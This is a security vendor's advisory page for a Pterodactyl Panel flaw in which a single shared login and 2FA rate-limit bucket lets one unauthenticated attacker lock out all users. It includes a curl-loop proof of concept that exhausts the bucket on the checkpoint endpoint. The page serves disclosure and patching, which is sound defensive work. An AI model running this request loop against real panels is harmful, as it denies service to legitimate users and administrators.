Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

GHSA-xvc3-826v-xf47

HIGH

GHSA-xvc3-826v-xf47 is a high-severity (CVSS 7.5) CWE-770 vulnerability in pterodactyl/panel. O3 Security confirms whether GHSA-xvc3-826v-xf47 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Pterodactyl's shared global rate-limit key on login and 2FA checkpoint enables unauthenticated panel-wide authentication lockout (DoS)

Also known asCVE-2026-61609
Published
Jul 28, 2026
Updated
Jul 28, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 12, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-xvc3-826v-xf47.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs33th percentile — riskier than 33% of all scored CVEsHighest risk
0.00%0.30%0.60%0.89%0.4%0.4%0.4%Aug 26Sep 26Sep 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-xvc3-826v-xf47 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 372,296 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘pterodactyl/panel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The authentication rate limiter used for the login and two-factor checkpoint endpoints applies a single global bucket shared by every client, instead of keying per IP or per account. An unauthenticated attacker sending ~10 requests per minute from one IP exhausts the shared bucket and causes HTTP 429 for every user on every IP attempting to log in or complete 2FA, for as long as the attack is sustained. This is a trivially triggered, unauthenticated, panel-wide authentication denial of service.

Details

In app/Providers/RouteServiceProvider::configureRateLimiting() the limiter is defined as:

RateLimiter::for('authentication', function (Request $request) {
    if ($request->route()->named('auth.post.forgot-password')) {
        return Limit::perMinute(2)->by($request->ip());
    }

    return Limit::perMinute(10);
});

The forgot-password branch is correctly scoped with ->by($request->ip()). The fall-through return, which covers POST /auth/login and POST /auth/login/checkpoint (see routes/auth.php, the throttle:authentication group), omits ->by() entirely.

For a named limiter, Laravel 11 derives the cache key as md5($limiterName . $limit->key) (Illuminate\Routing\Middleware\ThrottleRequests::handleRequestUsingNamedLimiter). Limit::perMinute(10) is constructed with an empty key, so the resolved key is md5('authentication'), a constant identical for every incoming request. All clients therefore contend for one shared counter rather than one counter per source.

Two factors make this worse:

  • throttle:authentication is registered as group middleware in routes/auth.php, so it increments before the route-level recaptcha middleware on POST /auth/login. Requests count toward the limit regardless of reCAPTCHA outcome.
  • POST /auth/login/checkpoint has no reCAPTCHA at all, giving an attacker a clean, low-cost way to fill the shared bucket with malformed requests.

Once the 10/minute global limit is hit, the throttle returns 429 to all subsequent requests on those endpoints until the one-minute window decays. Repeating the burst each minute holds the panel in a permanent locked-out state for all legitimate users.

PoC

  1. Stand up a default Pterodactyl panel.
  2. From a single attacker IP, exhaust the shared bucket via the checkpoint endpoint (no reCAPTCHA):
for i in $(seq 1 11); do
  curl -s -o /dev/null -w "%{http_code}\n" \
    -X POST https://panel.example.com/auth/login/checkpoint \
    -H 'Content-Type: application/json' \
    -H 'X-Requested-With: XMLHttpRequest' \
    -d '{"confirmation_token":"x","authentication_code":"000000"}'
done

Requests 1-10 return a normal 4xx (validation/auth failure); request 11 returns 429 Too Many Requests.

  1. From a completely different IP and a valid account, attempt a normal login:
curl -s -o /dev/null -w "%{http_code}\n" \
  -X POST https://panel.example.com/auth/login \
  -H 'Content-Type: application/json' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -d '{"user":"[email protected]","password":"correct-horse"}'

This returns 429 despite being a different IP, different account, and valid credentials. Looping step 2 once per minute keeps every user locked out indefinitely.

Impact

This is an unauthenticated availability attack against authentication. Any internet-facing Pterodactyl panel can be made unusable for all users (login and 2FA verification both blocked) by a single low-bandwidth attacker, with no credentials, no privileges, and no user interaction. Administrators are locked out alongside regular users, hampering incident response. The forgot-password endpoint is unaffected because it is correctly keyed per IP.

Suggested fix: key the fall-through limit by request source, at minimum:

return Limit::perMinute(10)->by($request->ip());

Ideally combine the IP with the submitted identifier for login (e.g. ->by($request->ip() . '|' . (string) $request->input('user'))) and the IP plus confirmation token for the checkpoint, so brute-force protection per account is preserved while removing the shared global bucket.

Disclaimer

This report was written by AI, the bug itself was found and confirmed by the reporter.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistpterodactyl/panel1.7.0&&< 1.13.01.13.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pterodactyl/panel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update pterodactyl/panel to 1.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xvc3-826v-xf47 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-xvc3-826v-xf47 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-xvc3-826v-xf47. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The `authentication` rate limiter used for the login and two-factor checkpoint endpoints applies a single global bucket shared by every client, instead of keying per IP or per account. An unauthenticated attacker sending ~10 requests per minute from one IP exhausts the shared bucket and causes HTTP 429 for every user on every IP attempting to log in or complete 2FA, for as long as the attack is sustained. This is a trivially triggered, unauthenticated, panel-wide authentication denial of service. ### Details In `app/Providers/RouteServiceProvider::configureRateLimiting()` the limi
O3 Security · Impact-Aware SCA

Is GHSA-xvc3-826v-xf47 in your dependencies?

O3 detects GHSA-xvc3-826v-xf47 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-xvc3-826v-xf47: DoS (High 7.5) | O3 Security